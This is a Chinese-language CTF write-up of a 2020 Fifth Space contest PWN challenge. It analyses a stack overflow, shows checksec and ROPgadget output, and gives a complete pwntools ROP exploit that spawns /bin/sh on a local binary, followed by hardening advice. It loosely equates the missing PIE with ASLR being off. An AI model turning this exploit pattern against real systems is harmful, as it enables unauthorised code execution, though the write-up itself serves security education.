共计 1589 个字符,预计需要花费 4 分钟才能阅读完成。
背景介绍
CTF 比赛中的 PWN 题目主要考察选手对二进制程序漏洞的挖掘和利用能力。这类题目通常要求参赛者通过逆向工程、漏洞利用和防护绕过等技术手段获取目标系统的控制权。2020 第五空间智能安全大赛的 PWN 题目延续了这一传统,考察了栈溢出、ROP 链构造等核心技能。

题目分析
二进制文件基本信息
首先我们使用 checksec 工具检查二进制文件的保护机制:
$ checksec vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键发现:
– 64 位程序,小端序
– 未启用栈保护(Canary)
– 启用了 NX(堆栈不可执行)
– 未启用地址随机化(PIE)
漏洞识别
通过逆向分析,我们发现程序存在明显的栈溢出漏洞:
void vulnerable_function() {char buf[64];
read(0, buf, 256); // 明显超过缓冲区大小
}
关键漏洞点
- main 函数直接调用 vulnerable_function
- read 函数读取长度未校验,导致栈溢出
- 没有栈保护,可以直接覆盖返回地址
漏洞利用
利用思路
由于 NX 保护开启,我们需要构造 ROP 链来执行系统调用。基本攻击流程:
- 填充缓冲区直到返回地址
- 覆盖返回地址指向 ROP 链
- ROP 链执行 execve(“/bin/sh”) 获取 shell
ROP 链构造
使用 ROPgadget 工具寻找可用 gadget:
$ ROPgadget --binary vuln
...
0x0000000000401163 : pop rdi ; ret
0x0000000000401161 : pop rsi ; pop r15 ; ret
...
关键 gadget:
– pop rdi ; ret
– pop rsi ; pop r15 ; ret
绕过防护机制
虽然启用了 NX,但由于未开启 ASLR(PIE),所有地址都是固定的,这大大简化了利用过程。我们只需要:
- 计算缓冲区到返回地址的偏移
- 构造 ROP 链调用 execve
- 设置好参数寄存器
完整 exploit 代码
from pwn import *
context(arch='amd64', os='linux')
# 连接本地程序
p = process('./vuln')
# 计算偏移
offset = 72 # buf 到返回地址的距离
# 构造 ROP 链
rop = ROP('./vuln')
rop.execve(next(rop.search(b'/bin/sh')), 0, 0)
# 构造 payload
payload = flat({offset: rop.chain()
})
# 发送 payload
p.send(payload)
# 获取 shell
p.interactive()
防护方案
安全编码实践
- 使用安全的字符串处理函数(如 snprintf 代替 sprintf)
- 对所有输入进行长度检查
- 避免使用危险的函数(如 gets)
编译选项优化
gcc -fstack-protector-strong -D_FORTIFY_SOURCE=2 -O2 -pie -fPIE
运行时防护
- 启用 ASLR(echo 2 > /proc/sys/kernel/randomize_va_space)
- 使用 seccomp 限制系统调用
- 部署 W^X 策略
避坑指南
- 调试技巧:
- 使用 gdb 的 cyclic 模式快速定位偏移
-
利用 pwntools 的 debug 模式查看崩溃现场
-
常见陷阱:
- 忘记考虑 NULL 字节截断
- 未正确处理地址对齐
- 误判 NX 保护状态
延伸思考
现实世界中,类似的栈溢出漏洞仍然广泛存在,特别是在嵌入式设备和旧系统中。防御策略应包括:
- 全面的代码审计
- 自动化的模糊测试
- 深度防御策略(多层防护)
- 及时更新和打补丁
通过这次对比赛题目的分析,我们不仅掌握了基本的 PWN 技术,更重要的是理解了漏洞产生的根本原因和防御思路。安全研究应该始终遵循 ” 先防御,后攻击 ” 的原则,只有深刻理解攻击手段,才能设计出更有效的防护方案。
正文完
发表至: 未分类
近一天内
